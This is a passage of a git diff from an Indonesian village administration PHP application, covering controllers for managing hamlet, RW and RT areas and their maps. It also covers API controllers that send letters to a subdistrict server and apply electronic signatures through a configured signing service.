"%{$cari}%"); + }) + ->whereNotIn('id', $kepala) + ->paginate(10); + + return json([ + 'results' => collect($penduduk->items()) + ->map(static function ($item) { + return [ + 'id' => $item->id, + 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun), + ]; + }), + 'pagination' => [ + 'more' => $penduduk->currentPage() < $penduduk->lastPage(), + ], + ]); + } + + return show_404(); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + redirect("{$this->controller}"); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->insert(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}"); + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}"); + } + + //Delete dusun/rw/rt tergantung tipe + public function delete($tipe = '', $id = '') + { + $this->redirect_hak_akses('h'); + $this->wilayah_model->delete($tipe, $id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect($_SERVER['HTTP_REFERER']); + } + + public function sub_rw($id_dusun = '', $p = 1, $o = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = $this->cache->pakai_cache(function () use ($id_dusun, $p, $o) { + $dusun = $this->wilayah_model->cluster_by_id($id_dusun); + $nama_dusun = $dusun['dusun']; + $data['dusun'] = $dusun['dusun']; + $data['id_dusun'] = $id_dusun; + $data['func'] = "sub_rw/{$id_dusun}"; + $data['set_page'] = $this->_set_page; + $data['paging'] = json_decode(json_encode($this->wilayah_model->paging_rw($p, $o, $nama_dusun))); + $data['main'] = $this->wilayah_model->list_data_rw($id_dusun, $data['paging']->offset, $data['paging']->per_page); + $data['total'] = $this->wilayah_model->total_rw($nama_dusun); + + return $data; + }, "{$this->session->per_page}_{$p}_{$id_dusun}_rw_wilayah", 24 * 60 * 60); + + $this->render('sid/wilayah/wilayah_rw', $data); + } + + public function cetak_rw($id_dusun = '') + { + $dusun = $this->wilayah_model->cluster_by_id($id_dusun); + $nama_dusun = $dusun['dusun']; + $data['dusun'] = $dusun['dusun']; + $data['id_dusun'] = $id_dusun; + $data['main'] = $this->wilayah_model->list_data_rw($id_dusun); + $data['total'] = $this->wilayah_model->total_rw($nama_dusun); + + $this->load->view('sid/wilayah/wilayah_rw_print', $data); + } + + public function excel_rw($id_dusun = '') + { + $dusun = $this->wilayah_model->cluster_by_id($id_dusun); + $nama_dusun = $dusun['dusun']; + $data['dusun'] = $dusun['dusun']; + $data['id_dusun'] = $id_dusun; + $data['main'] = $this->wilayah_model->list_data_rw($id_dusun); + $data['total'] = $this->wilayah_model->total_rw($nama_dusun); + + $this->load->view('sid/wilayah/wilayah_rw_excel', $data); + } + + public function form_rw($id_dusun = '', $id_rw = '') + { + $this->redirect_hak_akses('u'); + $data_dusun = $this->wilayah_model->cluster_by_id($id_dusun); + $data['dusun'] = $data_dusun['dusun']; + $data['id_dusun'] = $id_dusun; + + if ($id_rw) { + $data_rw = $this->wilayah_model->cluster_by_id($id_rw); + $data['id_rw'] = $id_rw; + $data['rw'] = $data_rw['rw']; + $data['individu'] = $this->wilayah_model->get_penduduk($data_rw['id_kepala']); + $data['form_action'] = site_url("{$this->controller}/update_rw/{$id_dusun}/{$id_rw}"); + } else { + $data['id_rw'] = null; + $data['rw'] = null; + $data['form_action'] = site_url("{$this->controller}/insert_rw/{$id_dusun}"); + } + + $this->render('sid/wilayah/wilayah_form_rw', $data); + } + + public function insert_rw($id_dusun = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->insert_rw($id_dusun); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}/sub_rw/{$id_dusun}"); + } + + public function update_rw($id_dusun = '', $id_rw = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_rw($id_rw); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}/sub_rw/{$id_dusun}"); + } + + public function sub_rt($id_dusun = '', $id_rw = '', $p = 1, $o = 0) + { + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data = $this->cache->pakai_cache(function () use ($id_dusun, $id_rw, $p, $o) { + $data_rw = $this->wilayah_model->cluster_by_id($id_rw); + $data['dusun'] = $data_rw['dusun']; + $data['id_dusun'] = $id_dusun; + $data['rw'] = $data_rw['rw']; + $data['id_rw'] = $id_rw; + $data['func'] = "sub_rt/{$id_dusun}/{$id_rw}"; + $data['set_page'] = $this->_set_page; + $data['paging'] = $this->wilayah_model->paging_rt($p, $o, $data['dusun'], $data['rw']); + $data['main'] = $this->wilayah_model->list_data_rt($data['dusun'], $data['rw'], $data['paging']->offset, $data['paging']->per_page); + $data['total'] = $this->wilayah_model->total_rt($data['dusun'], $data['rw']); + + return $data; + }, "{$this->session->per_page}_{$p}_{$id_dusun}_{$id_rw}_rt_wilayah", 24 * 60 * 60); + + $this->render('sid/wilayah/wilayah_rt', $data); + } + + public function cetak_rt($id_dusun = '', $id_rw = '') + { + $temp = $this->wilayah_model->cluster_by_id($id_dusun); + $dusun = $temp['dusun']; + $data['dusun'] = $temp['dusun']; + $data['id_dusun'] = $id_dusun; + + $temp = $this->wilayah_model->cluster_by_id($id_rw); + $rw = $temp['rw']; + $data['rw'] = $rw; + $data['main'] = $this->wilayah_model->list_data_rt($dusun, $rw); + $data['total'] = $this->wilayah_model->total_rt($dusun, $rw); + + $this->load->view('sid/wilayah/wilayah_rt_print', $data); + } + + public function excel_rt($id_dusun = '', $id_rw = '') + { + $temp = $this->wilayah_model->cluster_by_id($id_dusun); + $dusun = $temp['dusun']; + $data['dusun'] = $temp['dusun']; + $data['id_dusun'] = $id_dusun; + + $temp = $this->wilayah_model->cluster_by_id($id_rw); + $rw = $temp['rw']; + $data['rw'] = $rw; + $data['main'] = $this->wilayah_model->list_data_rt($dusun, $rw); + $data['total'] = $this->wilayah_model->total_rt($dusun, $rw); + + $this->load->view('sid/wilayah/wilayah_rt_excel', $data); + } + + public function form_rt($id_dusun = '', $id_rw = '', $id_rt = '') + { + $this->redirect_hak_akses('u'); + $data_rw = $this->wilayah_model->cluster_by_id($id_rw); + $data['dusun'] = $data_rw['dusun']; + $data['id_dusun'] = $id_dusun; + $data['rw'] = $data_rw['rw']; + $data['id_rw'] = $id_rw; + + if ($id_rt) { + $data_rt = $this->wilayah_model->cluster_by_id($id_rt); + $data['rt'] = $data_rt['rt']; + $data['individu'] = $this->wilayah_model->get_penduduk($data_rt['id_kepala']); + $data['form_action'] = site_url("{$this->controller}/update_rt/{$id_dusun}/{$id_rw}/{$id_rt}"); + } else { + $data['rt'] = null; + $data['form_action'] = site_url("{$this->controller}/insert_rt/{$id_dusun}/{$id_rw}"); + } + + $this->render('sid/wilayah/wilayah_form_rt', $data); + } + + public function insert_rt($id_dusun = '', $id_rw = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->insert_rt($id_dusun, $id_rw); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"); + } + + public function update_rt($id_dusun = '', $id_rw = '', $id_rt = 0) + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_rt($id_rt); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"); + } + + public function warga($id = '') + { + $temp = $this->wilayah_model->cluster_by_id($id); + $id_dusun = $temp['id']; + $dusun = $temp['dusun']; + + $_SESSION['per_page'] = 100; + $_SESSION['dusun'] = $dusun; + redirect('penduduk/index/1/0'); + } + + public function warga_kk($id = '') + { + $temp = $this->wilayah_model->cluster_by_id($id); + $id_dusun = $temp['id']; + $dusun = $temp['dusun']; + $_SESSION['per_page'] = 50; + $_SESSION['dusun'] = $dusun; + redirect('keluarga/index/1/0'); + } + + public function warga_l($id = '') + { + $temp = $this->wilayah_model->cluster_by_id($id); + $id_dusun = $temp['id']; + $dusun = $temp['dusun']; + + $_SESSION['per_page'] = 100; + $_SESSION['dusun'] = $dusun; + $_SESSION['sex'] = 1; + redirect('penduduk/index/1/0'); + } + + public function warga_p($id = '') + { + $temp = $this->wilayah_model->cluster_by_id($id); + $id_dusun = $temp['id']; + $dusun = $temp['dusun']; + + $_SESSION['per_page'] = 100; + $_SESSION['dusun'] = $dusun; + $_SESSION['sex'] = 2; + redirect('penduduk/index/1/0'); + } + + public function ajax_kantor_dusun_maps($id = '') + { + $sebutan_desa = ucwords($this->setting->sebutan_desa); + $data['poly'] = 'multi'; + $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id); + $data['wil_atas'] = $this->header['desa']; + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['nama_wilayah'] = ucwords(setting('sebutan_dusun') . ' ' . $data['wil_ini']['dusun'] . ' ' . $sebutan_desa . ' ' . $data['wil_atas']['nama_desa']); + $data['wilayah'] = ucwords(setting('sebutan_dusun')); + $data['breadcrumb'] = [ + ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $data['wilayah']], + ]; + $data['form_action'] = site_url("{$this->controller}/update_kantor_dusun_map/{$id}"); + $namadesa = $data['wil_atas']['nama_desa']; + $data['logo'] = $this->header['desa']; + + if (! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'] && ! empty($data['wil_atas']['path'])))) { + $this->render('sid/wilayah/maps_kantor', $data); + } else { + $this->session->success = -1; + $this->session->error_msg = "Lokasi Kantor {$sebutan_desa} {$namadesa} Belum Dilengkapi"; + redirect("{$this->controller}"); + } + } + + public function ajax_wilayah_dusun_maps($id = '') + { + $sebutan_desa = ucwords($this->setting->sebutan_desa); + $data['poly'] = 'multi'; + $data['wil_atas'] = $this->header['desa']; + $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id); + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['nama_wilayah'] = ucwords(setting('sebutan_dusun') . ' ' . $data['wil_ini']['dusun'] . ' ' . $sebutan_desa . ' ' . $data['wil_atas']['nama_desa']); + $data['wilayah'] = ucwords(setting('sebutan_dusun')); + $data['breadcrumb'] = [ + ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $data['wilayah']], + ]; + $data['form_action'] = site_url("{$this->controller}/update_wilayah_dusun_map/{$id}"); + $namadesa = $data['wil_atas']['nama_desa']; + $data['logo'] = $this->header['desa']; + if (! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'] && ! empty($data['wil_atas']['path'])))) { + $this->render('sid/wilayah/maps_wilayah', $data); + } else { + $this->session->success = -1; + $this->session->error_msg = "Peta Lokasi/Wilayah {$sebutan_desa} {$namadesa} Belum Dilengkapi"; + redirect("{$this->controller}"); + } + } + + public function update_kantor_dusun_map($id = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_kantor_dusun_map($id); + redirect("{$this->controller}"); + } + + public function update_wilayah_dusun_map($id = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_wilayah_dusun_map($id); + redirect("{$this->controller}"); + } + + public function ajax_kantor_rw_maps($id_dusun = '', $id_rw = '') + { + $sebutan_dusun = ucwords(setting('sebutan_dusun')); + $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun); + $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id_rw); + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $dusun = $data['wil_atas']['dusun']; + $data['nama_wilayah'] = 'RW ' . $data['wil_ini']['rw'] . ' ' . $sebutan_dusun . ' ' . $dusun; + $data['breadcrumb'] = [ + ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $sebutan_dusun], + ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'], + ]; + $data['wilayah'] = 'RW'; + $data['form_action'] = site_url("{$this->controller}/update_kantor_rw_map/{$id_dusun}/{$id_rw}"); + $data['logo'] = $this->header['desa']; + + if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) { + $this->render('sid/wilayah/maps_kantor', $data); + } else { + session_error("Lokasi Kantor {$sebutan_dusun} {$dusun} Belum Dilengkapi"); + + redirect("{$this->controller}/sub_rw/{$id_dusun}"); + } + } + + public function ajax_wilayah_rw_maps($id_dusun = '', $id_rw = '') + { + $sebutan_dusun = ucwords(setting('sebutan_dusun')); + $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun); + $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id_rw); + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $dusun = $data['wil_atas']['dusun']; + $data['nama_wilayah'] = 'RW ' . $data['wil_ini']['rw'] . ' ' . $sebutan_dusun . ' ' . $dusun; + $data['breadcrumb'] = [ + ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $sebutan_dusun], + ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'], + ]; + $data['wilayah'] = 'RW'; + $data['form_action'] = site_url("{$this->controller}/update_wilayah_rw_map/{$id_dusun}/{$id_rw}"); + $data['logo'] = $this->header['desa']; + + if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) { + $this->render('sid/wilayah/maps_wilayah', $data); + } else { + session_error("Peta Lokasi/Wilayah {$sebutan_dusun} {$dusun} Belum Dilengkapi"); + redirect("{$this->controller}/sub_rw/{$id_dusun}"); + } + } + + public function update_kantor_rw_map($id_dusun = '', $id_rw = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_kantor_rw_map($id_rw); + redirect("{$this->controller}/sub_rw/{$id_dusun}"); + } + + public function update_wilayah_rw_map($id_dusun = '', $rw = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_wilayah_rw_map($id_rw); + redirect("{$this->controller}/sub_rw/{$id_dusun}"); + } + + public function ajax_kantor_rt_maps($id_dusun = '', $id_rw = '', $id = '') + { + $sebutan_dusun = ucwords(setting('sebutan_dusun')); + $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun); + $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id); + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['nama_wilayah'] = 'RT ' . $data['wil_ini']['rt'] . ' RW ' . $data['wil_ini']['rw'] . ' ' . ucwords($sebutan_dusun . ' ' . $data['wil_ini']['dusun']); + $data['breadcrumb'] = [ + ['link' => site_url("{$this->controller}/clear"), 'judul' => 'Daftar ' . $sebutan_dusun], + ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'], + ['link' => site_url("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"), 'judul' => 'Daftar RT'], + ]; + $data['wilayah'] = 'RT'; + $data['form_action'] = site_url("{$this->controller}/update_wilayah_rt_map/{$id_dusun}/{$id_rw}/{$id}"); + $data['logo'] = $this->header['desa']; + + if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) { + $this->render('sid/wilayah/maps_kantor', $data); + } else { + $this->session->success = -1; + $this->session->error_msg = "Lokasi Kantor {$sebutan_dusun} {$dusun} Belum Dilengkapi"; + redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"); + } + } + + public function ajax_wilayah_rt_maps($id_dusun = '', $id_rw = '', $id = '') + { + $sebutan_dusun = ucwords(setting('sebutan_dusun')); + $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun); + $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id); + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['nama_wilayah'] = 'RT ' . $data['wil_ini']['rt'] . ' RW ' . $data['wil_ini']['rw'] . ' ' . ucwords($sebutan_dusun . ' ' . $data['wil_ini']['dusun']); + $data['breadcrumb'] = [ + ['link' => site_url("{$this->controller}/clear"), 'judul' => 'Daftar ' . $sebutan_dusun], + ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'], + ['link' => site_url("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"), 'judul' => 'Daftar RT'], + ]; + $data['wilayah'] = 'RT'; + $data['form_action'] = site_url("{$this->controller}/update_wilayah_rt_map/{$id_dusun}/{$id_rw}/{$id}"); + $data['logo'] = $this->header['desa']; + + if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) { + $this->render('sid/wilayah/maps_wilayah', $data); + } else { + session_error("Peta Lokasi/Wilayah {$sebutan_dusun} {$dusun} Belum Dilengkapi"); + redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"); + } + } + + public function update_kantor_rt_map($id_dusun = '', $id_rw = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_kantor_rt_map($id); + redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"); + } + + public function update_wilayah_rt_map($id_dusun = '', $id_rw = '', $id = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->update_wilayah_rt_map($id); + redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"); + } + + public function kosongkan($id = '') + { + $this->redirect_hak_akses('u'); + $this->wilayah_model->kosongkan_path($id); + + redirect($this->controller); + } + + public function urut($tipe = '', $p = 1, $id = 0, $arah = 0, $id_dusun = 0, $id_rw = 0) + { + switch ($tipe) { + case 'dusun': $url = "index/{$p}"; + break; + + case 'rw': $url = "sub_rw/{$id_dusun}/{$p}"; + break; + + case 'rt': $url = "sub_rt/{$id_dusun}/{$id_rw}/{$p}"; + break; + + default: + // code... + break; + } + + $this->wilayah_model->urut($tipe, $id, $arah, $id_dusun, $id_rw); + redirect("{$this->controller}/{$url}"); + } + + public function list_rw($dusun = '') + { + $list_rw = $this->wilayah_model->list_rw($dusun); + echo json_encode($list_rw); + } + + public function list_rt($dusun = '', $rw = '-') + { + $list_rt = $this->wilayah_model->list_rt($dusun, $rw); + echo json_encode($list_rt); + } +} diff --git a/donjo-app/controllers/api/Sign.php b/donjo-app/controllers/api/Sign.php index 528adb8dd..cf46296da 100644 --- a/donjo-app/controllers/api/Sign.php +++ b/donjo-app/controllers/api/Sign.php @@ -1,481 +1,55 @@ - true, + 'pesan' => 'success', + 'jenis_error' => null, + ]); + } +} diff --git a/donjo-app/controllers/api/Surat.php b/donjo-app/controllers/api/Surat.php index d7a9be4c8..a3a57bc23 100644 --- a/donjo-app/controllers/api/Surat.php +++ b/donjo-app/controllers/api/Surat.php @@ -1,489 +1,156 @@ -setting->api_opendk_key)) { + $this->client = new \GuzzleHttp\Client([ + 'base_uri' => "{$this->setting->api_opendk_server}/api/v1/surat/", + ]); + } + + $this->kode_desa = kode_wilayah($this->header['desa']['kode_desa']); + } + + public function kirim() + { + $request = $this->input->post(); + + DB::beginTransaction(); + + try { + $surat = LogSurat::where('id', '=', $request['id'])->first(); + + $this->load->model('keluar_model'); + $data = $this->keluar_model->verifikasi_data_surat($surat->id, $this->kode_desa); + + if ($this->client) { + $this->client->post('kirim', [ + 'headers' => [ + 'Accept' => 'application/json', + 'Authorization' => "Bearer {$this->setting->api_opendk_key}", + ], + 'multipart' => [ + ['name' => 'file', 'contents' => Psr7\Utils::tryFopen(FCPATH . LOKASI_ARSIP . $surat->nama_surat, 'r')], + ['name' => 'desa_id', 'contents' => $this->kode_desa], + ['name' => 'nik', 'contents' => $surat->penduduk->nik], + ['name' => 'tanggal', 'contents' => $surat->tanggal], + ['name' => 'nomor', 'contents' => $data->nomor_surat], + ['name' => 'nama', 'contents' => $surat->formatSurat->nama], + ], + ]); + + $surat->update(['kecamatan' => StatusSuratKecamatanEnum::SudahDikirim]); // update log surat + } + + DB::commit(); + + return json([ + 'status' => true, + 'pesan' => 'success', + 'jenis_error' => null, + ]); + } catch (GuzzleHttp\Exception\ClientException $e) { + log_message('error', $e); + + DB::rollback(); + + return json([ + 'status' => false, + 'pesan' => $e->getResponse()->getBody()->getContents(), + 'jenis_error' => 'ClientException', + ]); + } + } + + public function download($jenis, $nomor, $desa, $bulan, $tahun) + { + if ($this->client) { + try { + $response = $this->client->get("download?desa_id={$this->kode_desa}&nomor={$jenis}/{$nomor}/{$desa}/{$bulan}/{$tahun}", [ + 'headers' => [ + 'Accept' => 'application/pdf', + 'Authorization' => "Bearer {$this->setting->api_opendk_key}", + ], + ]); + + $filename = "kecamatan_{$jenis}_{$nomor}_{$bulan}_{$tahun}.pdf"; + + if ($response->getStatusCode() == 200) { + $file = fopen(FCPATH . LOKASI_ARSIP . $filename, 'wb'); + fwrite($file, $response->getBody()->getContents()); + fclose($file); + } + + ambilBerkas($filename, 'keluar/kecamatan', null, LOKASI_ARSIP, true); + } catch (GuzzleHttp\Exception\ClientException $e) { + log_message('error', $e); + + $_SESSION['success'] = -99; + $_SESSION['error_msg'] = $e->getResponse()->getBody()->getContents(); + + return redirect('keluar/kecamatan'); + } + } + + $_SESSION['success'] = -99; + $_SESSION['error_msg'] = 'Tidak bisa mengambil surat dari kecamatan, apikey opendk belum disetting'; + + return redirect('keluar/kecamatan'); + } +} diff --git a/donjo-app/controllers/api/Tte.php b/donjo-app/controllers/api/Tte.php index d525486b6..8738ed00e 100644 --- a/donjo-app/controllers/api/Tte.php +++ b/donjo-app/controllers/api/Tte.php @@ -1,473 +1,245 @@ -client = new \GuzzleHttp\Client([ + 'base_uri' => empty($this->setting->tte_api) || get_domain($this->setting->tte_api) === get_domain(APP_URL) ? site_url() : $this->setting->tte_api, + 'auth' => [ + $this->setting->tte_username, + $this->setting->tte_password, + ], + ]); + + $this->demo = empty($this->setting->tte_api) || get_domain($this->setting->tte_api) === get_domain(APP_URL); + $this->nik = Pamong::kepalaDesa()->first()->pamong_nik; + } + + /** + * Periksa status nik. + * + * @param string $nik + * + * @return object + */ + public function periksa_status(?string $nik = '') + { + try { + $response = $this->client + ->get("api/user/status/{$nik}") + ->getBody() + ->getContents(); + + return json(json_decode($response)); + } catch (GuzzleHttp\Exception\ClientException $e) { + return json(json_decode($e->getResponse()->getBody())); + } + } + + public function sign_invisible() + { + $request = $this->input->post(); + + DB::beginTransaction(); + + try { + $data = LogSurat::where('id', '=', $request['id'])->first(); + $mandiri = PermohonanSurat::where('id_surat', $data->id_format_surat)->where('isian_form->nomor', $data->no_surat)->first(); + + $response = $this->client->post('api/sign/pdf', [ + 'headers' => ['X-Requested-With' => 'XMLHttpRequest'], + 'multipart' => [ + ['name' => 'file', 'contents' => Psr7\Utils::tryFopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'r')], + ['name' => 'nik', 'contents' => $this->nik], + ['name' => 'passphrase', 'contents' => $request['passphrase']], + ['name' => 'tampilan', 'contents' => 'invisible'], + ], + ]); + + $data->update(['tte' => 1, 'log_verifikasi' => null]); // update log surat + $mandiri->update(['status' => 3]); // update status surat dari layanan mandiri + + DB::commit(); + + // overwrite dokumen lama dengan response dari bsre + if ($response->getStatusCode() == 200 && ! $this->demo) { + $file = fopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'wb'); + fwrite($file, $response->getBody()->getContents()); + fclose($file); + } + + return $this->response([ + 'status' => true, + 'pesan' => 'success', + 'jenis_error' => null, + ]); + } catch (GuzzleHttp\Exception\ClientException $e) { + log_message('error', $e); + + DB::rollback(); + + return $this->response([ + 'status' => false, + 'pesan' => $e->getResponse()->getBody()->getContents(), + 'jenis_error' => 'ClientException', + ]); + } + } + + public function sign_visible() + { + $request = $this->input->post(); + + DB::beginTransaction(); + + try { + $data = LogSurat::where('id', '=', $request['id'])->first(); + $mandiri = PermohonanSurat::where('id_surat', $data->id_format_surat)->where('isian_form->nomor', $data->no_surat)->first(); + + if (setting('visual_tte') == 1) { + $width = setting('visual_tte_weight') ?? 90; + $height = setting('visual_tte_height') ?? 90; + $image = setting('visual_tte_gambar') ?: 'assets/images/bsre.png'; + + $visible = [ + ['name' => 'tag_koordinat', 'contents' => '[ttd_bsre]'], + ['name' => 'image', 'contents' => true], + ['name' => 'imageTTD', 'contents' => Psr7\Utils::tryFopen(FCPATH . $image, 'r')], + ]; + } else { + $this->load->model('url_shortener_model'); + $urls = $this->url_shortener_model->url_pendek($data); + $tag = '[qr_bsre]'; + $width = 90; + $height = 90; + $visible = [ + ['name' => 'tag_koordinat', 'contents' => '[qr_bsre]'], + ['name' => 'linkQR', 'contents' => $urls['isiqr']], + ]; + } + + $multipart = [ + ['name' => 'file', 'contents' => Psr7\Utils::tryFopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'r')], + ['name' => 'nik', 'contents' => $this->nik], + ['name' => 'passphrase', 'contents' => $request['passphrase']], + ['name' => 'tampilan', 'contents' => 'visible'], + ['name' => 'width', 'contents' => $width], + ['name' => 'height', 'contents' => $height], + ]; + + $response = $this->client->post('api/sign/pdf', [ + 'headers' => ['X-Requested-With' => 'XMLHttpRequest'], + 'multipart' => [...$multipart, ...$visible], + ]); + + $data->update(['tte' => 1, 'log_verifikasi' => null]); // update log surat + if ($mandiri) { + $mandiri->update(['status' => 3]); // update status surat dari layanan mandiri + } + + DB::commit(); + + // overwrite dokumen lama dengan response dari bsre + if ($response->getStatusCode() == 200 && ! $this->demo) { + $file = fopen(FCPATH . LOKASI_ARSIP . $data->nama_surat, 'wb'); + fwrite($file, $response->getBody()->getContents()); + fclose($file); + } + + return $this->response([ + 'status' => true, + 'pesan' => 'success', + 'jenis_error' => null, + ]); + } catch (GuzzleHttp\Exception\ClientException $e) { + log_message('error', $e); + + DB::rollback(); + + return $this->response([ + 'status' => false, + 'pesan' => $e->getResponse()->getBody()->getContents(), + 'jenis_error' => 'ClientException', + ]); + } + } + + /** + * Generate response dan log. + * + * @param array $notif + * + * @return object + */ + protected function response($notif = []) + { + LogTte::create([ + 'message' => $notif['pesan'], + 'jenis_error' => $notif['jenis_error'], + ]); + + return json($notif); + } +} diff --git a/donjo-app/controllers/buku_umum/Bumindes_umum.php b/donjo-app/controllers/buku_umum/Bumindes_umum.php index 9c3f6ff03..f11c68251 100644 --- a/donjo-app/controllers/buku_umum/Bumindes_umum.php +++ b/donjo-app/controllers/buku_umum/Bumindes_umum.php @@ -1,601 +1,249 @@ -modul_ini = 'buku-administrasi-desa'; + } + + public function index() + { + redirect('dokumen_sekretariat/peraturan_desa/3'); + } + + // TABLES + public function tables($page = 'peraturan', $page_number = 1, $offset = 0) + { + $this->sub_modul_ini = 'administrasi-umum'; + + // set session + if (isset($_SESSION['cari'])) { + $data['cari'] = $_SESSION['cari']; + } else { + $data['cari'] = ''; + } + + if (isset($_SESSION['filter'])) { + $data['filter'] = $_SESSION['filter']; + } else { + $data['filter'] = ''; + } + + if (isset($_POST['per_page'])) { + $_SESSION['per_page'] = $_POST['per_page']; + } + $data['per_page'] = $_SESSION['per_page']; + // set session END + + // load data for displaying at tables + $data = array_merge($data, $this->load_data_tables($page, $page_number, $offset)); + + $header = $this->header_model->get_data(); + + $this->load->view('header', $header); + $this->load->view('nav'); + $this->load->view('bumindes/umum/main', $data); + $this->load->view('footer'); + } + + private function load_data_tables($page, $page_number, $offset) + { + $data['selected_nav'] = $page; + + switch (strtolower($page)) { + case 'ekspedisi': + $data = array_merge($data, $this->load_ekspedisi_data_tables($page_number, $offset)); + break; + + case 'berita': + $data = array_merge($data, $this->load_berita_data_tables($page_number, $offset)); + break; + + default: + $data = array_merge($data, $this->load_ekspedisi_data_tables($page_number, $offset)); + break; + } + + return $data; + } + + private function load_ekspedisi_data_tables($page_number = 1, $offset = 0) + { + $data['main_content'] = 'bumindes/umum/content_ekspedisi'; + $data['subtitle'] = 'Buku Ekspedisi'; + + return $data; + } + + private function load_berita_data_tables($page_number = 1, $offset = 0) + { + $sebutan_desa = ucwords(setting('sebutan_desa')); + $data['main_content'] = 'bumindes/umum/content_berita'; + $data['subtitle'] = "Buku Lembaran {$sebutan_desa} dan Berita {$sebutan_desa}"; + + return $data; + } + // TABLES END + // FORM + public function form($page = 'peraturan', $page_number = 1, $offset = 0, $key = null) + { + $this->sub_modul_ini = 'administrasi-umum'; + $data = []; + $data = array_merge($data, $this->load_form($page, $page_number, $offset, $key)); + $header = $this->header_model->get_data(); + $this->load->view('header', $header); + $this->load->view('nav', $nav); + $this->load->view('bumindes/umum/main', $data); + $this->load->view('footer'); + } + private function load_form($page, $page_number, $offset, $key) + { + $data['p'] = $page_number; + $data['o'] = $offset; + $data['selected_nav'] = $page; + switch (strtolower($page)) { + case 'ekspedisi': + $data = array_merge($data, $this->load_form_ekspedisi($page_number, $offset, $key)); + break; + case 'berita': + $data = array_merge($data, $this->load_form_berita($page_number, $offset, $key)); + break; + default: + $data = array_merge($data, 